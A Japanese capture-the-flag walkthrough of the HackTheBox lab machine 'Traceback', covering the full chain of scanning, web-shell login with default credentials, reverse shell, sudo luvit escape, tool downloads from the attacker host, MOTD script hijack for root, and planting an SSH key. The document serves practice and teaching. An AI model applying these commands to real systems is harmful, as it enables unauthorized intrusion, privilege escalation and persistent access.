【HackTheBox】Traceback - Walkthrough -

本稿では、[Hack The Box](https://www.hackthebox.eu/)にて提供されている Retired Machines の「Traceback」に関する攻略方法（Walkthrough）について検証します。

Hack The Boxに関する詳細は、「[Hack The Boxを楽しむためのKali Linuxチューニング](https://qiita.com/v_avenger/items/c85d946ed2b6bf340a84)」を併せてご確認ください。

# マシンの詳細
![Traceback.jpeg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/6c786842-ce9a-c3d5-1b23-c2b8fb977e7e.jpeg)

# エグゼクティブサマリー
## 戦術（Tactic）
- 「[TA0007: 探索（Discovery）](https://attack.mitre.org/tactics/TA0007/)」, 環境を把握するための手順を確認します。
- 「[TA0003: 永続化（Persistence）](https://attack.mitre.org/tactics/TA0003/)」, 攻撃者は足場を持続させようとしようとしています。
- 「[TA0004: 特権エスカレーション（Privilege Escalation）](https://attack.mitre.org/tactics/TA0004/)」, より高いレベルの権限取得を狙います。

## 戦法（Technique）

| ID | テクニック | 説明 |
|:--|:--|:--|
| [T1046](https://attack.mitre.org/techniques/T1046/) | ネットワークサービススキャン（Network Service Scanning） | nmapによるポートスキャンの実行 |
| [T1083](https://attack.mitre.org/techniques/T1083/) | ファイルとディレクトリの検出 | ffufによる攻撃の足がかりになりそうなファイルやフォルダの探索 |
| [T1100](https://attack.mitre.org/techniques/T1100/) | サーバーソフトウェアコンポーネント： Webシェル | 「SmEvK_PaThAn Shell v3」を経由した「php-reverse-shell」の設置 |
| [T1548.003](https://attack.mitre.org/techniques/T1548/003/) | Sudo と Sudo Caching|「Luvit」による「sysadmin」権限の維持|
| [T1546](https://attack.mitre.org/techniques/T1546)|イベントによってトリガーされる実行| 「motd」による「root」権限による任意のコマンド実行 |

## ツール
- nmap
- ffuf
- SmEvK_PaThAn Shell v3
- php-reverse-shell
- .bash_history
- sudo lua -e 'os.execute("/bin/sh")'
- python3 -c 'import pty; pty.spawn("/bin/bash")'
- GTFOBins
- LinPEAS
- pspy
- /etc/update-motd.d/
- ssh-keygen

# 詳細手順
# ネットワークサービススキャン
## nmap

IPアドレス `10.10.10.181`を`traceback.htb`として、`/etc/hosts`に追加します。その上で、nmapを使用し、ポートスキャンを実行します。

```
kali@kali:~$ nmap -sC -sV -p- -T4 -oA nmap traceback.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-20 01:22 EDT
Warning: 10.10.10.181 giving up on port because retransmission cap hit (6).
Nmap scan report for traceback.htb (10.10.10.181)
Host is up (0.17s latency).
Not shown: 65490 closed ports, 43 filtered ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 96:25:51:8e:6c:83:07:48:ce:11:4b:1f:e5:6d:8a:28 (RSA)
|   256 54:bd:46:71:14:bd:b2:42:a1:b6:b0:2d:94:14:3b:0d (ECDSA)
|_  256 4d:c3:f8:52:b8:85:ec:9c:3e:4d:57:2c:4a:82:fd:86 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Help us
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 844.59 seconds
```

これで、標的にて稼働しているサービスが判明しました。特に気になるのは次の通りです。

|ポート番号|サービス|バージョン|
|:---|:---|:---|
|22/tcp|ssh|OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)|
|80/tcp|http|Apache httpd 2.4.29 ((Ubuntu))|

## HTTPサービスのスキャン
`Firefox`ブラウザを使って`80/tcp`にアクセスしてみます。

<img width="1440" alt="Firefox.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/3e50833d-e0d5-3aaf-a186-1925e3041334.png">

HTMLソースを確認したところ、`web shell`が仕掛けられていることが判明しました。

```index.html
<body>
	<center>
		<h1>This site has been owned</h1>
		<h2>I have left a backdoor for all the net. FREE INTERNETZZZ</h2>
		<h3> - Xh4H - </h3>
		<!--Some of the best web shells that you might need ;)-->
	</center>
</body>
```

## 公開情報の調査

`Xh4H`のアカウント名から次の[Tweet](https://twitter.com/RiftWhiteHat/status/1237311680276647936?s=20)を見つけることができました。
<img width="596" alt="Tweet.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/58a8bf46-67a9-83f9-0b3f-2792eb286758.png">

Tweetから誘導される[GitHubリポジトリ](https://github.com/TheBinitGhimire/Web-Shells)はこちら。
<img width="917" alt="GitHub.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/a1fc63aa-b42d-db6d-899f-43ff978ef7e7.png">

## ファジング

Web Shellの[GitHubリポジトリ](https://github.com/TheBinitGhimire/Web-Shells)を取得し、ファイル名のリストをワードリスト`shell.list`として保存します。

```
kali@kali:~$ git clone https://github.com/Xh4H/Web-Shells.git
Cloning into 'Web-Shells'...
remote: Enumerating objects: 68, done.
remote: Total 68 (delta 0), reused 0 (delta 0), pack-reused 68
Unpacking objects: 100% (68/68), 1.85 MiB | 362.00 KiB/s, done.
kali@kali:~$ ls -1 Web-Shells/ > shell.list
kali@kali:~$ cat shell.list 
alfa3.php
alfav3.0.1.php
andela.php
bloodsecv4.php
by.php
c99ud.php
cmd.php
configkillerionkros.php
jspshell.jsp
mini.php
obfuscated-punknopass.php
punkholic.php
punk-nopass.php
r57.php
README.md
smevk.php
wso2.8.5.php
```

攻撃の足がかりになりそうなファイルやフォルダをリストベースのブルートフォースで探してみます。先ほど作成したワードリスト`shell.list`を`ffuf`コマンドにて使用します。

```
kali@kali:~$ ffuf -c -w shell.list -u http://traceback.htb/FUZZ

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.0.2
________________________________________________

 :: Method           : GET
 :: URL              : http://traceback.htb/FUZZ
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403
________________________________________________

smevk.php               [Status: 200, Size: 1261, Words: 318, Lines: 59]
:: Progress: [17/17] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:19] :: Errors: 0 ::
```

`ffuf`コマンドにて特定された`smevk.php`にアクセスします。「SmEvK_PaThAn Shell V3」というweb shellのログイン画面にアクセスすることができました。

```
http://traceback.htb/smevk.php
```

![webshell_login.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/a1808333-0b5d-fcf9-0a26-e1ab21fa68d3.png)

# アクセス権の取得

「SmEvK_PaThAn Shell v3」の[GitHubリポジトリ](https://github.com/TheBinitGhimire/Web-Shells)を確認します。初期設定のアカウントは`admin:admin`です。

```smevk.php
<?php 
/*

SmEvK_PaThAn Shell v3 Coded by Kashif Khan .
https://www.facebook.com/smevkpathan
smevkpathan@gmail.com
Edit Shell according to your choice.
Domain read bypass.
Enjoy!

*/
//Make your setting here.
$deface_url = 'http://pastebin.com/raw.php?i=FHfxsFGT';  //deface url here(pastebin).
$UserName = "admin";                                      //Your UserName here.
$auth_pass = "admin";                                  //Your Password.
//Change Shell Theme here//
$color = "#8B008B";                                   //Fonts color modify here.
$Theme = '#8B008B';                                    //Change border-color accoriding to your choice.
$TabsColor = '#0E5061';                              //Change tabs color here.
#-------------------------------------------------------------------------------
```

`admin:admin`にてログインに成功しました。
![webshell_smevk.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/e311e140-367b-c7f1-2072-e99ad1e9cfb2.png)

webshellの[Code Injector]メニューを選択します。[pentestmonkey](http://pentestmonkey.net/) の [php-reverse-shell](http://pentestmonkey.net/tools/web-shells/php-reverse-shell)を仕掛けます。

>事前に`php-reverse-shell.php`ソースコードを編集し、`$ip`の値を攻撃端末（`Kali`）のIPアドレスに変更しておきます。

![php_reverse_shell.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/e57aa7ec-c5e6-7f45-c397-125e3c24b47d.png)

ここでは、[File Name & Type :]の値として`shell.php`を指定しています。

![webshell_code_inject.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/edbdd4e3-8879-60d2-094e-e54683c085ce.png)

`Kali`上でのリバースシェルの操作性を向上させるため、rlwrapをインストールします。これにより、readline対応を実現し、行編集機能を追加することができます。

```
kali@kali:~$ sudo apt-get install rlwrap
```

`kali`上で、リバースシェルを待ち受けます。コマンド構文は次のとおりです。

```
kali@kali:~$ rlwrap nc -nvlp 1234
listening on [any] 1234 ...
```

攻撃端末側の`nc`がアクティブな状態で、次のURLに接続します。

```
http://traceback.htb/shell.php
```

URLが実行されると、セッションが開始されます。

```
kali@kali:~$ rlwrap nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.45] from traceback.htb [10.10.10.181] 52400
Linux traceback 4.15.0-58-generic #64-Ubuntu SMP Tue Aug 6 11:12:41 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
 18:06:45 up  9:19,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=1000(webadmin) gid=1000(webadmin) groups=1000(webadmin),24(cdrom),30(dip),46(plugdev),111(lpadmin),112(sambashare)
/bin/sh: 0: can't access tty; job control turned off
$ 
```

`php-reverse-shell.php`の実行が成功した場合、`webadmin`権限のシェルを確立させることができます。

```
$ whoami && id
webadmin
uid=1000(webadmin) gid=1000(webadmin) groups=1000(webadmin),24(cdrom),30(dip),46(plugdev),111(lpadmin),112(sambashare)
```

## システム探索
`webadmin`の`/home/webadmin`ディレクトリには`user.txt`フラグはありません。

```
$ cd /home/webadmin
$ ls -al
total 48
drwxr-x--- 5 webadmin sysadmin 4096 Jul 20 16:05 .
drwxr-xr-x 4 root     root     4096 Aug 25  2019 ..
-rw------- 1 webadmin webadmin 2149 Jul 20 16:56 .bash_history
-rw-r--r-- 1 webadmin webadmin  220 Aug 23  2019 .bash_logout
-rw-r--r-- 1 webadmin webadmin 3771 Aug 23  2019 .bashrc
drwx------ 2 webadmin webadmin 4096 Aug 23  2019 .cache
drwxrwxr-x 3 webadmin webadmin 4096 Aug 24  2019 .local
-rw-rw-r-- 1 webadmin webadmin    1 Aug 25  2019 .luvit_history
-rw-r--r-- 1 webadmin webadmin  807 Aug 23  2019 .profile
drwxrwxr-x 2 webadmin webadmin 4096 Jul 20 15:07 .ssh
-rw-rw-r-- 1 sysadmin sysadmin  122 Mar 16 03:53 note.txt
-rw-rw-rw- 1 webadmin webadmin   22 Jul 20 16:05 privsec.lua
```

代わりに、`note.txt`が配置されています。今後の権限昇格に役立ちそうな情報が記載されていることが確認出来ます。

```
webadmin@traceback:~$ cat note.txt
- sysadmin -
I have left a tool to practice Lua.
I'm sure you know where to find it.
Contact me if you have any question.
$ 
```

>Luaスクリプトの練習をするためにツールを残しました。
どこにあるか、きっとご存知でしょう。
質問があれば私に連絡してください。

ツールの在処を探るべく、`.bash_history`の履歴を確認します。

```
$ cd /home/webadmin
$ pwd
/home/webadmin
$ cat .bash_history
ls -la
sudo -l
nano privesc.lua
sudo -u sysadmin /home/sysadmin/luvit privesc.lua 
rm privesc.lua
logout
```

`sudo -l`コマンドで確認したところ、`webadmin`ユーザーは、パスワード無しで`sysadmin`として`/home/sysadmin/luvit`ツール（[Luvit](https://luvit.io/)）を実行することができます。

```
webadmin@traceback:~$ sudo -l
Matching Defaults entries for webadmin on traceback:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User webadmin may run the following commands on traceback:
    (sysadmin) NOPASSWD: /home/sysadmin/luvit
```

## ユーザーシェルの取得
「[GTFOBins](https://gtfobins.github.io/)」は、ローカルのセキュリティ制限を回避するため利用できるバイナリのリストです。
このリストから「[Lua - Sudo](https://gtfobins.github.io/gtfobins/lua/#sudo)」の項目を参照します。

![GTFOBins.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/3c2bdd88-6f8b-bcf5-4aee-ae338fcece5d.png)

この情報を参考に、次のコマンド構文を試行してみます。

```
webadmin@traceback:~$ sudo -u sysadmin /home/sysadmin/luvit -e 'os.execute("/bin/sh")'
sh: turning off NDELAY mode
```

`sysadmin`権限のシェルを確立させることができます。

```
whoami && id
sysadmin
uid=1001(sysadmin) gid=1001(sysadmin) groups=1001(sysadmin)
```

## シェルのアップグレード
操作性を高めるため、シェルをアップグレードします。

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
sysadmin@traceback:/$
```

## システム探索

`sysadmin`の`/home/sysadmin`ディレクトリの内容を確認します。

```
sysadmin@traceback:/$ cd
cd
sysadmin@traceback:~$ ls -al
ls -al
total 4336
drwxr-x--- 5 sysadmin sysadmin    4096 Mar 16 03:53 .
drwxr-xr-x 4 root     root        4096 Aug 25  2019 ..
-rw------- 1 sysadmin sysadmin       6 Aug 16 07:19 .bash_history
-rw-r--r-- 1 sysadmin sysadmin     220 Apr  4  2018 .bash_logout
-rw-r--r-- 1 sysadmin sysadmin    3771 Apr  4  2018 .bashrc
drwx------ 2 sysadmin sysadmin    4096 Aug 25  2019 .cache
drwxrwxr-x 3 sysadmin sysadmin    4096 Aug 24  2019 .local
-rw-r--r-- 1 sysadmin sysadmin     807 Apr  4  2018 .profile
drwxr-xr-x 2 root     root        4096 Aug 25  2019 .ssh
-rwxrwxr-x 1 sysadmin sysadmin 4397566 Aug 24  2019 luvit
-rw------- 1 sysadmin sysadmin      33 Aug 16 06:15 user.txt
```

`user.txt`フラグを取得します。

```
sysadmin@traceback:~$ cat user.txt
cat user.txt
9466{BLOCKED}6c00

```

# 特権昇格
## システム探索

「[LinPEAS - Linux Privilege Escalation Awesome Script](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)」ツールを使ってシステム探索を行います。

```
sysadmin@traceback:/home/webadmin$ cd /tmp
sysadmin@traceback:/tmp$ wget http://10.10.14.13:8081/linpeas.sh
sysadmin@traceback:/tmp$ chmod +x linpeas.sh
sysadmin@traceback:/tmp$ ./linpeas.sh
```

![linpeas.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/b52ffcaa-7f89-cf5c-c560-2bc301e88794.png)

`Modified interesting files in the last 5mins (limit 100)`項目として、`/etc/update-motd.d/`が列挙されました。

```
[+] Modified interesting files in the last 5mins (limit 100)
/etc/update-motd.d/50-motd-news
/etc/update-motd.d/10-help-text
/etc/update-motd.d/91-release-upgrade
/etc/update-motd.d/00-header
/etc/update-motd.d/80-esm
/home/sysadmin/.bash_history
```

![スクリーンショット 2020-08-17 13.43.37.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/a6b48b63-13f7-fe30-bc22-4ae01c1609a3.png)

また、`Interesting GROUP writable files (not in Home) (max 500)`項目として、`/etc/update-motd.d/`が列挙されました。
![linpease_result.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/119676c6-4efd-8b29-7bce-306b07f4f828.png)

同様に、「[pspy - unprivileged Linux process snooping](https://github.com/DominicBreuker/pspy)」ツールを使ってシステム探索を行います。

```
sysadmin@traceback:/tmp$ wget http://10.10.14.13:8081/pspy64
sysadmin@traceback:/tmp$ chmod +x pspy64
sysadmin@traceback:/tmp$ ./pspy64
```

![pspy.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/8cd12e11-28da-b187-446c-74426f5fd770.png)

毎分ごとに`cron`が`/etc/update-motd.d/`の内容を復元（初期化、クリーンナップ）しています。

```
2020/08/16 21:29:01 CMD: UID=0    PID=41216  | sleep 30 
2020/08/16 21:29:01 CMD: UID=0    PID=41215  | /bin/sh -c /bin/cp /var/backups/.update-motd.d/* /etc/update-motd.d/ 
2020/08/16 21:29:01 CMD: UID=0    PID=41214  | /bin/sh -c sleep 30 ; /bin/cp /var/backups/.update-motd.d/* /etc/update-motd.d/ 
2020/08/16 21:29:01 CMD: UID=0    PID=41213  | /usr/sbin/CRON -f 
2020/08/16 21:29:01 CMD: UID=0    PID=41212  | /usr/sbin/CRON -f 
2020/08/16 21:29:31 CMD: UID=0    PID=41218  | /bin/cp /var/backups/.update-motd.d/00-header /var/backups/.update-motd.d/10-help-text /var/backups/.update-motd.d/50-motd-news /var/backups/.update-motd.d/80-esm /var/backups/.update-motd.d/91-release-upgrade /etc/update-motd.d/                                  
2
```

![CRON.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/ffb29b3d-602d-eeaf-d101-7f4182414540.png)

`ps -aux`コマンドでも同様の傾向を確認することができます。

```
sysadmin@traceback:~$ ps -aux
ps -aux
USER        PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
.
root      55185  0.0  0.0   4628   784 ?        Ss   18:28   0:00 /bin/sh -c sleep 30 ; /bin/cp /var/backups/.update-motd.d/* /etc/update-motd.d/
.
```

## MOTD （message of the day）

`/etc/update-motd.d/`ディレクトリの内容について確認します。`sysadmin`グループにて書き込むことが可能です。

```
sysadmin@traceback:~$ ls -la /etc/update-motd.d/
ls -la /etc/update-motd.d/
total 32
drwxr-xr-x  2 root sysadmin 4096 Aug 27  2019 .
drwxr-xr-x 80 root root     4096 Mar 16 03:55 ..
-rwxrwxr-x  1 root sysadmin  981 Aug 16 07:42 00-header
-rwxrwxr-x  1 root sysadmin  982 Aug 16 07:42 10-help-text
-rwxrwxr-x  1 root sysadmin 4264 Aug 16 07:42 50-motd-news
-rwxrwxr-x  1 root sysadmin  604 Aug 16 07:42 80-esm
-rwxrwxr-x  1 root sysadmin  299 Aug 16 07:42 91-release-upgrade
```

これらは、ユーザーが`traceback.htb`にログインするたびに`root`権限で実行し、メッセージを表示させることができるファイルです。 
このうち`00-header`を確認しました。次のシェルスクリプトとして構成されています。

```
sysadmin@traceback:~$ cat /etc/update-motd.d/00-header
cat /etc/update-motd.d/00-header
#!/bin/sh
#
#    00-header - create the header of the MOTD
#    Copyright (C) 2009-2010 Canonical Ltd.
#
#    Authors: Dustin Kirkland <kirkland@canonical.com>
#
#    This program is free software; you can redistribute it and/or modify
#    it under the terms of the GNU General Public License as published by
#    the Free Software Foundation; either version 2 of the License, or
#    (at your option) any later version.
#
#    This program is distributed in the hope that it will be useful,
#    but WITHOUT ANY WARRANTY; without even the implied warranty of
#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
#    GNU General Public License for more details.
#
#    You should have received a copy of the GNU General Public License along
#    with this program; if not, write to the Free Software Foundation, Inc.,
#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.

[ -r /etc/lsb-release ] && . /etc/lsb-release


echo "\nWelcome to Xh4H land \n"
```

そこで、`echo "cat /root/root.txt"`コマンド構文を`00-header`スクリプトの末尾に追加します。
これにより、`root`権限にて`cat`コマンドが実行されます。

```
sysadmin@traceback:~$ echo "cat /root/root.txt" >> /etc/update-motd.d/00-header
<cat /root/root.txt" >> /etc/update-motd.d/00-header
```

## SSHキーの書き込み
`kali`から`SSH`で接続できるように、`webadmin`ユーザーの`authorized_keys`ファイルを上書きします。

まず、`kali`上で`ssh-keygen`を実行します。

```
kali@kali:~$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/kali/.ssh/id_rsa): 
/home/kali/.ssh/id_rsa already exists.
Overwrite (y/n)? y
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /home/kali/.ssh/id_rsa
Your public key has been saved in /home/kali/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:mmvM6lGPxIYSThZcLyDf3cUIhSqopVR35y7jA9/IRTY kali@kali
The key's randomart image is:
+---[RSA 3072]----+
|..o.. .+.o.      |
| o.= +.o.o.      |
| .* +.+ +        |
|.=o..+   E       |
|ooo.. = S .      |
|o  . = B o       |
|    .oO B        |
|     .+B .       |
|   .oo. .        |
+----[SHA256]-----+
```

`kali`上で生成した`id_rsa.pub`の内容を確認します。

```
kali@kali:~$ cat /home/kali/.ssh/id_rsa.pub
ssh-rsa AAAAB3N{BLOCKED}cSG5HUs= kali@kali
```

「SmEvK_PaThAn Shell v3」を使って、次のコマンド構文を実行します。

```
echo "ssh-rsa AAAAB3N{BLOCKED}cSG5HUs= kali@kali" >> /home/webadmin/.ssh/authorized_keys
```

![websell_exec.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/a9b6cc5b-7a1b-83cd-62a2-f071abfac707.png)

## SSH接続の確立
`webadmin`アカウントで`traceback.htb`にSSH接続します。

>`00-header`スクリプトの内容は毎分ごとに、クリーンナップされます。このため、SSH接続を行う直前に`echo "cat /root/root.txt" >> /etc/update-motd.d/00-header`コマンド構文を実行する必要があります。

`00-header`スクリプトに書き込んだコマンド構文の効果により、`root.txt`フラグの内容を確認することができます。

![root flag.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/5ee4411a-e501-7ba5-85b6-f6bc7aa9bec9.png)


# 参考情報
## 類似マシン
- VulnHub 「[Fowsniff: 1](https://www.vulnhub.com/entry/fowsniff-1,262/)」

## MOTD
- @ikuwow 「[構成管理したサーバーにSSHした不届き者に警告メッセージを出してみる](https://qiita.com/ikuwow/items/81500455485239a3edcf)」

## Walkthrough
- IppSec 「[HackTheBox - Traceback](https://www.youtube.com/watch?v=OI7PbBT589E)」, 2020/08/16
- Snowscan 「[Traceback - Hack The Box](https://snowscan.io/htb-writeup-traceback/)」, 2020/08/15
- 0xdf hacks stuff 「[HTB: Traceback](https://0xdf.gitlab.io/2020/08/15/htb-traceback.html)」, 2020/08/15

## その他
- Cybrary Whitepaper 「[Guerrilla Red Team: Decentralize the Adversary](https://www.cybrary.it/info/content/guerrilla-red-team-decentralize-the-adversary/)」, Christopher Cottrell , 2020/8/3
- 「[DEF CON 28：Red Team Village：敵対者を蹴散らすゲリラレッドチームの構築](https://qiita.com/v_avenger/items/541528d5808b958b57cd)」